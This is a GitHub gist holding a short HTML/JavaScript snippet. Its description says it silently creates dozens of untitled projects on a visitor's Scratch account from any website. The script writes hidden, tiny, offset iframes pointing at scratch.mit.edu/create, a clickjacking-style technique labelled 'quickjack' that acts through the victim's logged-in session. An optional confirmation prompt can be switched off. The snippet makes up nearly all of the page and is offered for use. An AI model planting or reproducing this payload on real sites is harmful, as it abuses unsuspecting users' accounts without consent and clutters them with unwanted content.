Skip to content

Instantly share code, notes, and snippets.

@Arinerron
Last active February 8, 2017 04:06
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Arinerron/7b5a6cd1f1bd929801d4 to your computer and use it in GitHub Desktop.
Save Arinerron/7b5a6cd1f1bd929801d4 to your computer and use it in GitHub Desktop.
Scratch project creator script here creates a ton of Scratch projects without the user knowing. WARNING: It will take a while to delete all these projects this script creates, so use with caution! The user must be signed in on Scratch.mit.edu for this to work, but really, this script can be on any site to work.
<script>
var numb = 30; // The number of projects to create
var warn = true; // Warn user about what's about to happen?
if(warn) {
var resp = prompt("Are you sure you want to create " + numb + " untitled projects? Type (y/n)");
if(resp == "y" || resp == "yes" || resp == "Y" || resp == "yep" || resp == "yeah") {
for(var i = 0; i < numb; i++) {
document.write("<div qjid=\"quickjack\" style=\"overflow: hidden; width: 1px; height: 2px; position: relative;\" id=\"cksl6\">\r\n<div class=\"ol\" style=\"position: absolute; width:1px; height: 2px; z-index:90; overflow: auto;\"><\/div><iframe name=\"cksl7\" src=\"http:\/\/scratch.mit.edu\/create\" style=\"border: 0pt none ; left: -724px; top: -32px; position: absolute; width: 1921px; height: 1078px;\" scrolling=\"no\"><\/iframe><\/div>");
}
} else {
document.write("Action cancelled.");
}
} else {
for(var i = 0; i < numb; i++) {
document.write("<div qjid=\"quickjack\" style=\"overflow: hidden; width: 1px; height: 2px; position: relative;\" id=\"cksl6\">\r\n<div class=\"ol\" style=\"position: absolute; width:1px; height: 2px; z-index:90; overflow: auto;\"><\/div><iframe name=\"cksl7\" src=\"http:\/\/scratch.mit.edu\/create\" style=\"border: 0pt none ; left: -724px; top: -32px; position: absolute; width: 1921px; height: 1078px;\" scrolling=\"no\"><\/iframe><\/div>");
}
}
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment